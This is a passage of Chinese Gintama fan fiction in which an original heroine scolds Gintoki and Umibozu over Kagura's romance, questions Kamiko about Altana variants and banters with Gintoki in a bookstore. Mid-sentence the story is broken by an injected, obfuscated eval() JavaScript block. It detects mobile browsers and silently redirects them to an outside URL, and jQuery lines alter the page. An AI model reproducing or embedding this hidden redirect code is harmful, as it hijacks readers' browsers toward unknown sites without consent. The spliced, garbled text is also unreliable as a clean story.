两个身穿正式礼服,身形壮大了不止两倍的男人一头一脸血都坐在沙发上,魂魄不齐的样子让人忍不住同情。
“事情就是这样了……”脸肿了一边的新八无奈地把事情说了一遍,正常的他坐在两人身边显得分外娇小。
“说实话我没听太清楚,不是说神乐只是交个男朋友而已嘛?而且这根本都算不上男朋友吧,才见了没几面,怎么忽然就说起结婚了?这个话题飞跃得太快了吧,结婚这种事不是要交往顺利并且很久才考虑的吗?现在连交往都没开始吧?”我视线从脸色极度难看的两人身上转向正常的新八。
“本来说只是给我们看看男朋友而已,但……银桑和星海坊主两个不知道为什么一直贬低神乐,让她生气了,所以就……”
我叹口气,默默地站了起来,一个跃起,拳头狠狠挥下!
嘭嘭的两下,两个巨型的大人被我干脆地砸进地板里。
“你们是白痴吗?什么出色的大人,简直就是出色的笨蛋才对!”
好不容易等到了星海坊主来地球,还打算好好问一下阿尔塔纳的事,结果因为神乐交了男朋友的事他整个人都癫狂了,连带着把那个笨蛋天然卷也带癫狂了。冲着这两人不稳定的状态,我只能先帮他们处理神乐的事。
“阿萤姐,别这样,他们已经很努力了……只是……”新八吓了一大跳,连忙劝阻道。
“努力个毛线啊!小神乐才多大,还没成年啊,连牵手都还早的年纪交什么男朋友啊?作为父亲和社长,你们居然不好好引导,反而在对方面前贬低她,让她把交往变成结婚意向?开什么玩笑啊?”
我怒极地一脚踩在那两个头颅上,碾了碾。
“少啰嗦!”一头血的银时蹦起来,眼角欲裂地反驳,“14岁就date的混蛋没资格说这个啊!阿银找你是要问怎么哄神乐,不是找打的!”
“什么?现在的女孩子都是14岁就开始date的吗?爸爸,爸爸我绝对不允许啊——”神晃抓着他为数不多的头发崩溃道。
我呵呵一笑,一脚把他们坐着的沙发踢翻,两人应声翻转砸进后面的地板里。
新八被我的暴力举动吓得双手塞进口里才吞下尖叫,我抽空给他一个安抚的笑容,他无声地退后了两步。
“我14岁的date是去图书馆复习,而且,我老爸提前就把对方的家庭背景和习俗,性格等情况全部了解清楚,甚至当时就坐在我们身后的那张凳子上一路旁观……”掰了掰手指,我咧出血腥的笑容高居临下地俯视他们,“说吧,你们做到哪一样了?”
真是让人头疼,14岁的小女孩,连恋爱是什么,男朋友跟朋友的分别是什么都没搞清楚,怎么可以让她直接了解结婚?光会着急却什么也不敢做的大人,算什么出色的大人啊?
两个强悍的男人埋在地板里头,一言不发。
这两人对神乐的爱和紧张毋庸置疑,只是不管是爸爸也好,哥哥也罢,甚至社长也一样,男人对少女的心情天生就不能完全理解。尤其是神乐本身就是个未开窍的小女孩,比起他们重视自己的朋友,她更需要他们重视自己,理解和引导自己。
这种纠结的少女情怀,大概也只有过来人才能理解。
“孩子大了会有自己的世界,但是……无论怎样她还是你们的掌中宝,不放心是理所当然的啊。当她还没能独自面对的时候,作为大人,不,作为家人,不是要好好地帮助她吗?现在不是哄不哄的问题,神乐对大家的爱的感知绝对在你们这些笨蛋之上,才不会因为你们贬低她而乱来。你们啊……先把她朋友的事情弄清楚,再好好考虑怎么帮她养成健康的海洋……啊不,是朋友圈。”
我一手一个头颅抓起来,笑着训道,“加油吧,别人的父亲大人,现在的你们还差得远呢~不过,是男人就不要认输,上吧~”
两个反应过来的男人慢慢地爬了起来,不约而同地往外跑去。新八看了看我,一个鞠躬后追了出去。
下楼到酒馆里,看到小玉和凯瑟琳正在补天花的洞,我坐在一边问淡定抽烟的登势。
“婆婆,他们没问题吧?我查了一下那个巨人星的习俗,感觉不太妙。”
巨人星的王族繁殖标准是独占新娘的基因,确定新娘后会毁灭新娘的星球和同类。我看到的时候也有点无语,这么霸道的习俗,难怪他们人不多。而且他们脑子也不好,神乐是夜兔,跟毁灭地球和人类有什么关系呢?
幕府让这样的天人到地球找新娘,真的是心大啊……早晚得完。
“怎么不太妙?”登势老神在在地喷了口烟,给我斟了杯酒。
我扬眉咧开坏笑,“当然是,怕巨人星的人在地球灭绝了~”
一个人都能灭掉一个星球的星海坊主,还有那个打起来不管不顾的笨蛋武士,癫狂起来可不是区区巨人进击就能拦住的哦。
夜色如水,与前门街道的热闹不同,屋内的气氛多了几分凝重。
我端详着眼前的人,打扮还是那身服装,只是当年浓密得能编辫子的长发已经被秃头取代,看得我一阵心惊。
虽说岁月是杀猪刀,但……现在被生长女神抛弃的我,如果头发掉了……打了个寒颤,我决定仇视一切碰我头发的生物,尤其是最近不知道抽什么风对我的柔顺直发很有执念总是偷偷扯来玩的坂田银时!
“就是你想要见我?月见小姐。”神晃正襟危坐,脸色严肃,“是那个特莱姆星人的关系吗?说起来,多年前曾答应过一个朋友要帮忙查,可惜这些年都没听闻过这个星球。”
那是因为根本就没有这个星球。我摇了摇头,“其实,我想见你,是想知道阿尔塔纳的变异体死因一般是什么?”
直球打得有点狠,神晃登时瞪大了眼,唰地站起来,脸色惊骇得仿佛马上就要抄过大伞开打,“你,你怎么会……是想要知道秃子的生发秘籍吗?不,我才不是秃子,我只是头发长得比较慢而已!作为一个有14岁青春期叛逆闺女的老父亲,这点子头发已经是奢望了!”
“没人想要知道这个!”
“我已经代言了这个牌子的生发剂,马上就会恢复旺盛的毛发,你有兴趣可以赠送一支给你哦。”他拿出印有他照片的生发剂,非常大方地递了过来。
“谢谢。”有便宜必须要占。我接了过来,笑眯眯地道,“但我要问的不是毛发,也不是你那跟OO差不多的脑袋哦~我想要知道的,是阿尔塔纳变异体的死因。”
“啊,神乐大概在等爸爸吃饭了,今天我要做红豆饭给她庆祝一下,因为跟爸爸合照了。”神晃干巴巴地笑着,站起来就准备离开。
男人逃避现实的行为和借口都这样一致的吗?坂田银时受伤被训的时候也是这样左右顾而言他,哼,没用的男人!
“我曾去过烙阳,见过江华。”我抱着手轻松地丢下炸弹。
此话一出,神晃脚步顿时停下,神情也多了几分慎重。
我决定利用一下他经常不在家的设定,翘着腿干脆地道,“后来听说她逝世了……明明她跟我说过她是阿尔塔纳的变异体,活了上千年不死的……”
“什么?你认识我老婆?不可能,江华从来没说过她有朋友!”神晃惊讶过度,谨慎地数了数手指头,“而且,我老婆已经去世好多年了……那时候你才几岁来着?”
“女人的友谊你别猜,反正我们就是认识了。她是因为离开徨安才会死的吗?你为什么不带她回去?”我搞不懂这其中的逻辑,手上所有资料都是关于阿尔塔纳的说明,却几乎没有片言只语提及变异体。
神晃脸色一暗,坐在沙发上握紧了拳头,沉默了许久。
我安静地等着,没去催促,却也没有放过这个机会。
好半响后,他才低着头道,“我老婆她确实是徨安的阿尔塔纳产生的变异体,只是……徨安本来就是被废弃的星球,那里的阿尔塔纳已经濒临消散,哪怕我在宇宙中不断寻找能让她延续生命的东西,还是……”
“抱歉……”撕开他的伤口有点残忍,但我现在需要更多的信息,一些连高杉都不能查到的信息。
沉吟一下,我问道,“所以,阿尔塔纳的变异体一般都是不老不死,死亡的话就只能是星球本身消亡?”
神晃点点头。
我心下一沉,说不上失望。只是那这样的话,那要虚自己消亡是不可能了。
地球正处于旺盛的年代,要消亡若非有意外还要等几十万年吧。现在别说让他挂掉,不让他越来越强已经很好了。
神晃大概看我脸色不好,疑惑地问道,“月见,你的身体情况也很奇怪,总觉得你不像活人……你该不会是……不对,你不是阿尔塔纳,反而跟多年前我见过的一个男人很像。”
那个就是我……不太想提起那段过往,我换了个问题,“对了,你说一直在宇宙中寻找能让江华延续生命的东西,后来有找到吗?”
“我在其他星球,找到阿尔塔纳的能量晶石。原本想着,这些可以替她……”
“不太能吧,不同星球的能量不一定能match,就像柴油车加汽油会爆掉的……诶!”脑中灵光一闪,我摸着下巴,“这个办法不一定能续命,但可能灭掉这种阿尔塔纳诞生的人。”
如果真是如此,就算不能杀掉,应该也能重创一下。就跟喝酒一样,混酒的杀伤力比只喝一种酒大。
“什么?”神晃闻言唰地白了脸,双手惊慌地捂颊,“你意思是,我差点害死了我老婆?不,我绝对不承认!”
“没人说这个!”虽然也有可能,但江华在那之前已经逝去了,不需要做没用的假设。
尽管如此,神晃好像还是被这个刺激到了,恍恍惚惚地走出我家大门。而我顾不上安慰,只是在猜测到底要怎样才能得到这些晶石。大概,只能像神晃一样去不同的星球上寻找。
这样耗费大量时间和人力,不太符合我现在的情况。
要做的事太多,能用的人却很少,我揉了揉发疼的额头。但,无所谓,高杉和辰马教的,利用一切可以利用的东西。
打开手机,我拔了个电话,“又子吗?帮忙跟神威说一下,我要挑战他,打一场吧。哦对了,记得跟我家晋晋保密哦。”
不理会又子石破天惊的尖叫,我打开电脑,开始联络泽木他们,安排后续的行程。
至于我为什么不直接找阿伏兔……因为不想要听教啊。
靠在书店的八卦杂志专栏边,我慢慢放下挡在面前的杂志,目送小猿和全藏陆续离开,才踢了踢蹲在隔壁翻看jump特刊仿佛进入忘我境界的人。
“疼啊混蛋。”银时记恨地抬手劈向我的小腿。
“痛啊白痴!”小腿骨一阵刺痛,我懊恼地还他一脚。
坂田银时随手挡下我的脚,抬头死鱼眼看过来,没好气地撇撇唇。
他脸上贴着胶布,拉链下的衣襟里缠着绷带,我揍的。
我左手手腕和和服下的小腿都缠了绷带,他打的。
别误会,我们不是吵架什么的引起家暴,是我秘密蒙面混进他们委托的对手阵营里,夜袭万事屋并且奋力跟他交手的结果。
“痛也是活该,谁让你没事敌我不分地朝我们出手?夜袭也就算了,谁TM让你重点放在袭击上?”银时想起昨晚的事脸色就黑成一片,如果没有书店老板在虎视眈眈,他一定要在这里再训我一顿。
首先,我有点不解,夜袭的重点不是袭吗?
其次,我不是真的敌我不分,只是想知道现在自己的实力如何而已。没想到颓废了十年的白夜叉认真起来还是宝刀未老……我自问没保留,他一开始的吊儿郎当被我逼出真火后也是狠打,要不是后来招式太熟被他认出来,彼此估计不止伤这么点。
我以杂志遮住半张脸,抽抽噎噎地道,“都说了是兼职乱入,你一点都不听我解释,自己认不出来还如此粗暴地对我……我身体和精神都受到打击……你不该好好安慰一下我吗?这些年我的信任都错付了吗?”
“阿银的身体和精神也很受打击啊混蛋!话说回来,你最近又看什么狗血情感剧了吗?别随便入戏,还想再被揍一顿吗?”脸上蹦着十字路口的银时嫌弃地看过来,“换个频道吧,这种哀怨的角色没你份。”
苦情系不行么?好吧……
“哼,骗你的,就你那种攻击怎么可能伤到我?再练个百年吧,区区木刀而已,本小姐还不放在眼里,要今晚再战吗?把你那不堪一击的身体打碎哦~”我用力一甩头发,挑眉傲然笑指他。
“怎么,忽然就傲娇大小姐了吗?”银时眉头抽了抽,摇着手中的周刊,“够了……把你对阿银身体的企图收一收,能蹂躏阿银身体的只有结野主播啊。”
“昨晚不是蹂躏过了吗?怎么,想要摩多摩多吗?”我不怀好意地戳了戳他脸上的胶布。
不是我想说,他的身体日常就经常被蹂躏了好吧,OO和菊花尤为严重,真不负他彪悍体质。
毫不悔改的态度让他很不爽,银时一手扯着我的辫子,一手还拿着他的jump周刊,恶声恶气的,“赶紧的,给老子正常点。”
拍开他抓着我宝贝头发的手,今天我梳的是双辫子,散了要重新编的。
虽然被骂,但我对自己现在的水平也有了点认知,对上神威大概难赢,得找个外援,用刀是不太行,倒是其他武器可以考虑。
“别发呆了,谁让你上网乱抢我们万事屋的生意?脑子哪根没用的神经又抽了吗?你啊,平时让你帮点忙都拖拖拉拉的,打架还划水,怎么忽然那么积极?摸鱼大王转型肯定没好事,说吧,又惹什么事了?早前忽然说要跟辰马合伙什么的……你们两个混蛋别给阿银惹什么祸啊!”
银时挖了挖鼻孔,视线从jump移到我身上,那目光让我不敢直视。
“昨晚已是过去了,男人活着就应该往前看,别老翻旧账,你以为自己是菜市场斤斤计较昨天老板少送了一把葱的家庭主妇吗?”
我没有回答这个有点心虚的问题,扬了扬手中的杂志,“银时,这期有个有趣的问题,如果我们被关在一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322847|158775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房间,要杀对方100次才能出去,你会怎么办?经过昨晚,我大概是杀不了你,那你来杀我100次?”
银时挖鼻孔的手一顿,死鱼眼再次睨过来,丝毫不掩饰鄙视,“哪个脑子比你和假发还要残的家伙会做出这种房间?啊不对,问这个问题的人得有至少十年脑栓了吧,无限流这种主题终于从自己死上百遍转为杀别人百遍了吗?”
“现在很流行这个问题哦,所以你的答案呢?杀我?”我挺好奇他的选择。
银时没好气地伸手揍过来,我机警地躲开那只刚挖过鼻的手。
他的声线温厚,语调慵懒得有种随意的散漫,“白痴,要是倒霉被关在那种地方,咱们就认了吧,别折腾了,在哪不是躺呢,也许睡个觉就出来了。话说回来,里面包餐吗?能叫外卖的吧?”
好消极又很有他特色的答案,我失笑,“你审题啊,要杀100次就说明可以复活,反正我也打不过你……”
“说你脑子不行又要给老子蠢到底吗?”银时挑眉,手臂一伸箍过我脖子,把我拉过去恨铁不成钢地拿jump周刊敲我的头,“清醒一点,万一这些设定不过是骗人的,杀一次就死掉了怎么办?就这么傻乎乎地别人说什么就做什么,阿银我可不记得什么时候把你养成这么听话的人啊。”
下巴搁在我发顶用力碾了碾,他拿过我手中的杂志,嫌弃地翻了两页,“还规则说明?我们什么时候守过规则?要是被关了,当然是合作把该不该砍的都砍了,自己造一条出路啊。这世上还没有什么房间是打不开的,不去努力就认命遵循这种脑残规则,你要是真这样想那被阿银杀上百遍也是活该了。”
好像也有点道理,是啊……谁说规定就是对的?命运就该遵从?
我眸底亮了起来,笑着抬头凑到他面前,“哎~其实银时你就是想说你绝对舍不得杀我对吧~”
昨晚觉察是我后,他那攻势顿时就变了样,杀气十足的木刀改成了气急败坏的拳头。虽然对我来说杀伤力都差不多,但这意义还是差很远的。
傲娇鬼对敌人和对自己人的本质区别。
“谁,谁TM舍不得啊!”银时气息一窒,随即炸毛般收紧手臂,“给老子抓重点!你就算再弱鸡,也没那么容易杀,还百次,你是昨晚打不赢现在想要累死阿银好继承万事屋吗?”
“放手,要窒息了!啧,傲娇没前途哦~”挣开他的紧箍,他像是被踩到尾巴的炸毛猫的样子让我发笑。
“傲娇你妹,是懒得动而已。真是的,整天看这种白痴杂志,你脑子才会跟假发一样崩坏的。那么想杀的话,你自己动手啊,就你这水平阿银就是站着不动你也杀不了。”银时眼珠子瞥了过来,毫无诚意地撇撇唇。
哎,那装模作样的样子别扭得跟他小时候想要糖果又不想丢脸求人装不在意一个样。
“是么,所以结果都一样,你不会杀我,但我要杀你的话就站着不动吗?别担心,我也舍不得杀你啊~”我总结了一下,笑眯眯地看着他。
银时挠发的手一顿,瞥了我一眼,忽然叹口气,“你这重点也不知道怎么抓的……就你这样的性子这次还真不适合混进来……”
“混进什么?”他声音太低我听不清。
他蓦地别过头,翻了两页jump周刊,“啊啊,为什么最近又上这种跟大便一样的新番,不好好写故事的话就是粪作,就算做成擦边卖肉番也不过是骗骗那些宅男而已,再这样下去jump就要完了。”
“只要有你这种死忠粉的话怎么也不会完的。” 没理会他突如其来的胡扯,我笑着道,“呐,银时,我要去宇宙玩耍。”
“诶?”
“那么惊讶干嘛,之前陆奥来找辰马的时候不是邀请我跟快援队一起去宇宙走走么?吃饭的时候你不也在一边说有免费船票别浪费什么的吗?”我放好杂志,随意地道。
银时眨眨豆子眼,他的记忆力果然不怎样了。
“你真要跟辰马那个白痴去玩?那只会让你的脑子更加快地坏掉哦。”他看着jump的封面好一会,还是忍不住伸手拿起来。
我似乎应该为合作伙伴声讨一下,但一时间也不好否认那个刚被一袋石子骗了还差点被下属卖掉的男人是个白痴的事实。
银时拿着jump一脸肉疼地准备结账,表情皱得就像是老婆出了轨但肚子里的孩子还是自己的没办法不要的倒霉男人。
“你就是老说我们脑子不好也不会对我们有影响,只会给自己洗脑忽略我们的厉害而已。再说,不是让我找点正事干么,我去宇宙发展发展,顺便替万事屋开拓疆土~”我想了想,拉住他的衣袖,“当然,你想要我留下来帮忙的话,我也可以哦~”
刚才全藏和小猿的话我没怎么认真听,好像是关于那位将军大人的安危。老实说,我对这个将军的印象还不错,之前他失忆的时候跟桂玩得也挺好的,是个大智若愚的儒将。可惜,他的抱负与地位的尴尬,注定了不太可能成为开创新时代的人。
虽然我不太在意那位的死活,但万事屋好像跟他还挺熟,这次说不定又会混进这些事情里。
银时脚步一顿,默了一下,慢慢地挖着鼻孔转头,没精打采地瞥我一眼,“你以为是运动会家长团吗?还要一家大小齐齐上阵围观?昨晚才差点搞砸我们的委托,最近我们估计都接不到什么像样的业务了,你就去跟辰马去浪吧,阿银会让陆奥看着你们别乱搞的了,那一船的人都比你们靠谱。”
我微愣,笑着放开他,“什么啊,反正我怎么做,你都不会生气,不是吗~”
“别给老子提这种事啊!那是不会吗?是不能!”想起什么般,银时满脸不爽,“总有一天,老子会把那份契约赢回来!”
就凭他那赌运?我哈了一声,不想说因为他霉得太出名我都不好意思去这边的赌场玩。
“银时,请吃火锅吧,就当为我践行~”心情莫名地好,我没拍开他揪着我辫子的手,就着他双手有事忙的瞬间顺手从他怀里窃过他的钱包,示威般摇了摇。
银时表情一垮,手忙脚乱地往怀里翻了翻。
“啊!把阿银钱包还回来你个小偷!不对,你什么时候学会这招的?”一脸阴郁的银时快步追上来,抓着我的双辫子乱扯。
“什么啊,就这点钱……果然还是得我请。”我瞧不上地把钱包随手丢回去,大方地道。
这家伙昨晚才赚了一票大的,钱包居然只有一张钞票,太抠门了。
闻言,银时双眸顿时一亮,哪还记得刚才想揍我?
双手狗腿地给我揉揉肩膀,他志得意满地扬眉,“这可是你自投罗网的啊,居然敢挑战我们这些火锅将军……肉已经打算按吨买吗?不然阿银怕你连肉沫都抢不到哦~到时候哭鼻子也不会给你一块的。”
看他嘚瑟的样子,我咧出跟他差不多的坏笑,决定不告诉他我预定的是变态红油麻辣汤底。呵呵,肉沫也抢不到?坂田银时他那饱受摧残的菊花受得住么?
昨晚输掉的怨气,今晚我在火锅上一定要赢回来!